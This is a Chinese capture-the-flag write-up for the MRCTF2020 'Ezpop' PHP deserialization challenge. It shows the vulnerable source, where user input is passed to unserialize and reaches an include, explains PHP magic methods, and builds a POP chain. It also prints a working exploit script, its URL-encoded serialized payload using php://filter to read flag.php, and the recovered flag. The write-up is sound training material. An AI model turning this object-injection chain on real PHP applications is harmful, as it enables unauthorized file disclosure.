作者:Hopeace
靶机地址:https://buuoj.cn/challenges#[MRCTF2020]Ezpop
0x01 浏览题目
不用看了,反序列化构造和绕过
这种题主要是考察各类魔术方法的触发条件,不断构造调用形成一条链
0x02 分析题目
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
__invoke()
当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
class invoke
{
public function __invoke($x)
{
var_dump($x);
}
}
$obj = new invoke;
$obj(10);
/*
输出:
int 10
*/
__get()
<?php
class Person{
/*封装私有成员属性*/
private $name='张三';private $sex='男';private $age=12;
/*__get()方法用来获取私有属性*/
function __get($property_name){
echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>';
if(isset($this->$property_name))
{
return ($this->$property_name);
}else{
return NULL;
}
}
}
$p1=new Person();
/*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/
echo '姓名:'.$p1->name.'<br/>';
echo '性别:'.$p1->sex.'<br/>';
echo '年龄:'.$p1->age.'<br/>';
————————————————
版权声明:本文为CSDN博主「weixin_42113474」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42113474/article/details/108894764
调用不存在的成员变量时也会触发
其余常见魔术方法
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用
0x03 代码审计
从出处向前找
最后应该是include去包含相关文件,需要调用Modifier里的append函数
append需要出发__ invoke魔术方法,看到Test类 里的 __get里的return $function();可以出发invoke,
继续,要触发__get 需要去找一个无source的类
调用__tostring $this->str, 赋值一个Test类,
然后是正则匹配preg_match,会触发__tostring
最后,传入pop参数值,触发__wakeup
pop链构成为:
pop传参 => __wakeup => __tostring => __get => __invoke => 调用include函数去包含flag.php这样的敏感文件
即 Modifier::__invoke()<–Test::__get()<–Show::__toString()
构造代码块
<?php
class Modifier{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
}
public function __toString(){
return "output anything you want";
}
}
class Test{
public $p;
}
$payload = new Show('test');
$payload->str = new Test();
$payload->str->p = new Modifier();
$hack = new Show($payload);
echo urlencode(serialize($hack));
?>
本地运行得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
得到一段base64编码
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2NmMWM0ZTE3LTE2ODktNDljNS1hOTE4LTVkMjRiNzA1M2U1Y30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解码得到
<?php class Flag{ private $flag= "flag{cf1c4e17-1689-49c5-a918-5d24b7053e5c}"; } echo "Help Me Find FLAG!"; ?>